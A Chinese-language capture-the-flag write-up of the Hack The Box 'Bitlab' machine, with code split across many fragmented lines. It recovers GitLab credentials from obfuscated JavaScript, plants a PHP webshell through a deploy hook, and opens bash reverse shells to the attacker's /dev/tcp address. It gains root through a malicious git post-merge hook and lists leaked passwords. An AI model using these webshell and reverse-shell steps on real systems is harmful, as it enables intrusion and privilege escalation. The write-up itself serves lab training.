0x00 本文目錄

  • 反思與總結
  • 基本信息
  • 滲透測試過程
  • 補充

0x01 反思與總結

1. curl 發送GET參數化請求

2. 對反彈回來的shell進行設置完善

3. 使用git hooks來進行提權

0x02 基本信息

靶機IP地址:10.10.10.114

Kali IP地址:10.10.14.13

0x03 滲透測試過程

端口探測

root@kali
:~/
HTB
/
bitlab
# nmap ‐sC ‐sV ‐oA bitloab 10.10.10.114


Starting
 
Nmap
 
7.80
 
(
 https
://
nmap
.
org 
)
 at 
2020
‐
01
‐
22
 
10
:
04
 CST


Nmap
 scan report 
for
 
10.10
.
10.114


Host
 is up 
(
0.24s
 latency
).


Not
 shown
:
 
998
 filtered ports


PORT   STATE SERVICE VERSION


22
/
tcp open  ssh     
OpenSSH
 
7.6p1
 
Ubuntu
 
4ubuntu0.3
 
(
Ubuntu
 
Linux
;
 protocol 
2.0
)


|
 ssh
‐
hostkey
:
 


|
   
2048
 a2
:
3b
:
b0
:
dd
:
28
:
91
:
bf
:
e8
:
f9
:
30
:
82
:
31
:
23
:
2f
:
92
:
18
 
(
RSA
)


|
   
256
 e6
:
3b
:
fb
:
b3
:
7f
:
9a
:
35
:
a8
:
bd
:
d0
:
27
:
7b
:
25
:
d4
:
ed
:
dc 
(
ECDSA
)


|
_  
256
 c9
:
54
:
3d
:
91
:
01
:
78
:
03
:
ab
:
16
:
14
:
6b
:
cc
:
f0
:
b7
:
3a
:
55
 
(
ED25519
)


80
/
tcp open  http    nginx


|
 http
‐
robots
.
txt
:
 
55
 disallowed entries 
(
15
 shown
)


|
 
/
 
/
autocomplete
/
users 
/
search 
/
api 
/
admin 
/
profile 


|
 
/
dashboard 
/
projects
/
new 
/
groups
/
new 
/
groups
/*/
edit 
/
users 
/
help 


|
_
/
s
/
 
/
snippets
/
new 
/
snippets
/*/
edit


|
 http
‐
title
:
 
Sign
 
in
 \xC2\xB7 
GitLab


|
_Requested
 resource was http
://
10.10
.
10.114
/
users
/
sign_in


|
_http
‐
trane
‐
info
:
 
Problem
 with XML parsing of 
/
evox
/
about


Service
 
Info
:
 OS
:
 
Linux
;
 CPE
:
 cpe
:/
o
:
linux
:
linux_kernel


Service
 detection performed
.
 
Please
 report any incorrect results at


https
://
nmap
.
org
/
submit
/
 
.


Nmap
 
done
:
 
1
 IP address 
(
1
 host up
)
 scanned 
in
 
34.44
 seconds

目標靶機開放了80 和 22端口

目錄探測

我們先從80下手,查看下網頁內容

先使用gobuster進行掃描

gobuster dir 
‐
u 
"http://10.10.10.114/"
 
‐
w 
/
usr
/
share
/
wordlists
/
dirbuster
/
directory
‐
list
‐


2.3
‐
medium
.
txt 
‐
t 
150
 
‐
s 
200
,
204
,
301
,
307
,
401
,
403
 
‐
o bitlab
.
gobuster

參數介紹:

dir: 表示掃描目錄的模式
-w: 使用的字典
-t: 線程數量
-s: 只顯示響應碼為200,204,301,307,401,403的路徑,因為我們訪問網頁的時候有些位置是不允許我們訪問會被302跳轉到登錄界面

對出現的結果逐一查看,發現除了help外其他的網頁都沒什么可用信息

漏洞發現

打開help下的bookmarks.html

對這幾個超鏈接逐一查看,發現前面4個連接都只是分別指向hackthebox,Docker,PHP,Node.js的官網并沒有什么信息

點擊 【Gitlab Login】 時,發現沒反應,但是出現了javascript代碼。

我們打開源碼進行查看

把javascript代碼復制出來放到https://beautifier.io/進行美化并把里面的HTML實體去除,得到下面的結果

javascript
:
 
(
function
()
 
{


    
var
 _0x4b18 
=
 
[
"\x76\x61\x6C\x75\x65"
,
 
"\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E"
,


"\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64"
,
 
"\x63\x6C\x61\x76\x65"
,


"\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64"
,


"\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"
];


    document
[
_0x4b18
[
2
]](
_0x4b18
[
1
])[
_0x4b18
[
0
]]
 
=
 _0x4b18
[
3
];


    document
[
_0x4b18
[
2
]](
_0x4b18
[
4
])[
_0x4b18
[
0
]]
 
=
 _0x4b18
[
5
];


})()

把_0x4b18里面的內容翻譯下(十六進制轉字符)

var
 _0x4b18 
=
 
[
"value"
,
 
"user_login"
,
 
"getElementById"
,
 
"clave"
,
 
"user_password"
,


"11des0081x"
];

那么下面2行代碼

document
[
getElementById
](
user_login
)[
value
]
 
=
 clave
;


document
[
getElementById
](
user_password
)[
value
]
 
=
 
11des0081x
;

感覺是賬號密碼的感覺,我們在登錄界面使用console進行嘗試

賬號密碼直接出現并成功登錄

登錄后有2個庫

在deployer中發現index.php,像是一個掛鉤文件,當Profile存儲庫合并了一個新的提交時就會執行命令

 

切換到 profile目錄 , 并且執行sudo git pull

php


$input 
=
 file_get_contents
(
"php://input"
);


$payload  
=
 json_decode
(
$input
);


$repo 
=
 $payload
‐>
project
‐>
name 
??
 
''
;


$event 
=
 $payload
‐>
event_type 
??
 
''
;


$state 
=
 $payload
‐>
object_attributes
‐>
state 
??
 
''
;


$branch 
=
 $payload
‐>
object_attributes
‐>
target_branch 
??
 
''
;


if
 
(
$repo
==
'Profile'
 
&&
 $branch
==
'master'
 
&&
 $event
==
'merge_request'
 
&&
 $state
==
'merged'
)


{


    echo shell_exec
(
'cd ../profile/; sudo git pull'
),
""
;


}


echo 
"OK"
;

那么我們只要寫入一個webshell并合并到profile庫中,那么這個index.php就會把我們的webshell給pull下來

我們創建一個分支

切換到這個分支,然后在這個分支上創建一個webshell

寫入一個webshell,并提交

php


if
(
isset
(
$_REQUEST
[
'cmd'
])){


        echo 
"
"
;


        $cmd 
=
 
(
$_REQUEST
[
'cmd'
]);


        system
(
$cmd
);


        echo 
"

"

;



        

die

;



}



?>


創建合并請求

然后就可以看到我們的webshell就成功合并如mstaer庫

此時應該會被之前的掛鉤文件pull到本地,我們嘗試訪問看看

http
:
//10.10.10.114/profile/dfz.php?cmd=whoami

也可以通過curl來進行命令執行

curl 
‐
G 
"http://10.10.10.114/profile/dfz.php"
 
‐‐
data
‐
urlencode 
'cmd=whoami'

-G:表示發送GET請求
--data--urlencode:對數據進行URL編碼

這樣我們就拿到了webshell


反彈shell

接下來就是反彈shell

kali先nc先監聽端口

然后用curl反彈,這里需要注意的是,反彈shell的指令前面還需要用到bash -c

curl 
‐
G 
"http://10.10.10.114/profile/dfz.php"
 
‐‐
data
‐
urlencode 
"cmd=bash ‐c 'bash ‐i >&


/dev/tcp/10.10.14.13/9001 0>&1'"

反彈回來的shell,會出現字符錯誤,無法編輯vim等問題 

輸入下面的指令對反彈回來的shell進行設置,讓后面我們可以正常使用

python 
‐
c 
"import pty;pty.spawn('/bin/bash')"


ctrl 
+
 z 
(后臺掛起
shell
)


stty raw 
‐
echo


fg 
+
 
多個回車
   


stty rows 
34
 cols 
136


export TERM
=
xterm

這樣我們反彈回來的shell就可以像我們平常用的那個shell一樣了


權限提升

進入之后我們看下sudo -l 有沒有能突破的點

這里我們可以看到 www-data用戶可以不需要密碼 

以root的權限調用git pull 命令

這里我們可以用git的hook文件來進行提權

在.git/hooks文件中有一些模板,我們可以對照進行編寫

因為sudo運行www-data用戶運行git pull文件

那么我們找下運行這個命令的時候會觸發哪個hook文件

可以通過下面命令查看

man githooks

可以看到在執行git pull時,會觸發post-merge這個文件

但是在hook文件里面沒有這個文件,我需要手動創建

但是這個文件夾我們沒有寫的權限

那么我們把這個文件給重新拷貝一份出來

然后在 /tmp/dfz/profile/.git/hooks/中創建一個 post-merge文件 ,并賦予執行權限

#!/bin/bash


bash 
‐
c 
'bash ‐i >& /dev/tcp/10.10.14.11/9000 0>&1'

那么我們接下來做的就是要觸發git pull,在這之前我們需要在倉庫里面添加一個新的文件,這樣git pull才能有效果,否則就有如下的提示

我們可以直接添加一個文件并合并

kali進行監聽,然后再進行sudo git pull

然后就得到root權限

0x04 補充

還有另一種方法get flag

我們在進入到profile倉庫后可以看到一個TODO

然后我們在

http
:
//10.10.10.114/users/clave/snippets

里面找到postgresql的代碼片段

可以看到這段代碼在查詢數據,我們可以看下它查詢的是什么數據

php


$db_connection 
=
 pg_connect
(
"host=localhost dbname=profiles user=profiles


password=profiles"
);


$result 
=
 pg_query
(
$db_connection
,
 
"SELECT * FROM profiles"
);


var_dump
(
pg_fetch_all
(
$result
));


?>


array(1) {


  [0]=>


  array(3) {


    ["id"]=>


    string(1) "1"


    ["username"]=>


    string(5) "clave"


    ["password"]=>


    string(22) "c3NoLXN0cjBuZy1wQHNz=="


  }


}

我們嘗試登錄到clave

成功!

同時我們在clave的家目錄下看到一個exe

我們通過scp下載回來

scp clave@10
.
10.10
.
114
:
RemoteConnection
.
exe 
.

使用OD進行調試也可以看到root的賬號密碼

Qf7
]
8YSV
.
wDNF
*[
7d
?
j
&
eD4
^